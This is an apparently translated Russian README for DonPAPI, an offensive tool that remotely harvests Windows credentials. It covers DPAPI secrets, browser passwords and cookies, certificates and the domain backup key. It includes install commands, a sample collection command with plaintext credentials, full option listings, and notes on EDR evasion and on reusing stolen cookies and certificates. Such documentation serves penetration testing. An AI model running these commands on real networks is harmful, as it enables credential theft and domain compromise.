
Автоматизированный удалённый дампер учётных данных для сред Windows, извлекающий секреты DPAPI, учётные данные браузеров, сертификаты и файлы конфигурации со встроенным обходом защиты и веб-интерфейсом для просмотра добытых данных.
DonPAPI автоматизирует удаленный сбор секретов на нескольких компьютерах под управлением Windows, с учетом защиты от обнаружения.

Собранные учетные данные:
Мы провели выступление на французском языке о DPAPI под названием DPAPI - Don't Put Administration Passwords In 🇫🇷:
Этот инструмент следует устанавливать с помощью pipx или в выделенной виртуальной среде
pipx install donpapi
или (с последними коммитами)
pipx install git+https://github.com/login-securite/DonPAPI.git
или (для разработки)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Сбор релевантной информации на скомпрометированных целях без обнаружения антивирусом. Версия: 2.0.0
positional arguments:
{collect,gui} Действие DonPAPI
collect Сбор секретов из списка целей
gui Запуск веб-сервера Flask для просмотра базы данных DonPAPI
options:
-h, --help показать это сообщение и выйти
-v Уровень подробности (-v или -vv)
-o DIRNAME, --output-directory DIRNAME
Выходной каталог. По умолчанию ~/.donpapi/loot/
Это действие используется для сбора секретов на целях, указанных в -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
Аутентификация работает путем указания домена с помощью --domain, имени пользователя с помощью --username, и, при необходимости, пароля с помощью --password, хеша с помощью --hashes, ключа AES с помощью --aesKey или билета Kerberos в формате ccache с помощью -k (стиль Impacket).
Вы также можете аутентифицироваться через LAPS на компьютере с помощью --laps и имени пользователя локальной учетной записи LAPS в качестве значения этого параметра.
По умолчанию DonPAPI собирает:
Вы можете указать каждый, который хотите собрать, с помощью --collectors (стиль SharpHound). Если вы используете --fetch-pvk, DonPAPI автоматически получит ключ резервного копирования домена AD и использует его для расшифровки мастер-ключей. В противном случае вы можете предоставить его с помощью --pvkfile. --pwdfile, --ntfile используются для передачи DonPAPI секретов для разблокировки мастер-ключей. Но если у вас есть свежерасшифрованные мастер-ключи, вы можете использовать --mkfile.
[!WARNING] Некоторые методы сбора потребуют дампа секретов LSA (для получения машинного ключа DPAPI). Это действие может быть шумным, и современные EDR мгновенно заблокируют вас. Вы можете использовать
-nr, чтобы избежать этих шумных действий, но некоторые секреты не будут собраны.
DonPAPI теперь поддерживает файл конфигурации для настройки поведения Secretsdump. Этот файл будет находиться в ~/.donpapi/donpapi.conf, и по умолчанию он будет выглядеть так:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI поддерживает файл восстановления. Каждый раз при выполнении команды collect будет сохраняться файл восстановления с оставшимися целями и всеми параметрами. По умолчанию файл находится в папке ~/.donpapi/register/
Иногда при внутренней оценке вы хотите усиленно атаковать определенные цели и снова и снова собирать секреты с их компьютеров. Не делайте глупый цикл bash, просто используйте --keep-collecting X, где X — количество секунд ожидания между сеансами сбора.
Теперь, когда вы собрали все эти секреты, вы хотите их просмотреть. DonPAPI позволяет вам просмотреть все собранные секреты через веб-интерфейс. Чтобы запустить его, используйте donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
Общее
На этом экране отобразятся все повторно используемые пароли SAM на всех собранных компьютерах, дампы запланированных задач и пароли учетных записей служб, полученные из LSA. Вы можете экспортировать их все в формат CSV.
Секреты
На этом экране отобразятся все секреты, собранные DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать секреты в CSV.
Куки
На этом экране отобразятся все куки, собранные DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать куки в CSV, а также скопировать их в JavaScript код для вставки в браузер.
Сертификаты
На этом экране отобразятся все сертификаты, собранные DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать сертификаты в CSV. Кроме того, если сертификат разрешает аутентификацию клиента, нажатие на Да скопирует команду Certipy для использования сертификата.
Этот инструмент предназначен только для образовательного и этичного взлома. Login Sécurité не несет ответственности за злоупотребления, совершенные с помощью этого инструмента.
Фронтенд графического интерфейса разработан на Vue3 + Vite.js, а бэкенд — на Python Flask.
По умолчанию он будет доступен по адресу http://127.0.0.1:8088, но вы можете настроить его по своему усмотрению, даже на https://0.0.0.0:443.
[!WARNING] Пожалуйста, никогда не открывайте DonPAPI для всей сети таким образом, это может быть очень опасно. DonPAPI поддерживает HTTPS с помощью
--ssl, и вы можете добавить базовую аутентификацию с помощью--basic-auth. И более того, пожалуйста, никогда не выставляйте DonPAPI в Интернет подобным образом.
Щелчок по значению в таблицах мгновенно скопирует его в буфер обмена.
В графическом интерфейсе доступен флажок Скрыть пароли, чтобы скрыть конфиденциальные данные, что идеально подходит для скриншотов.
Вся благодарность этим замечательным людям за их тяжелую работу по исследованию и программированию: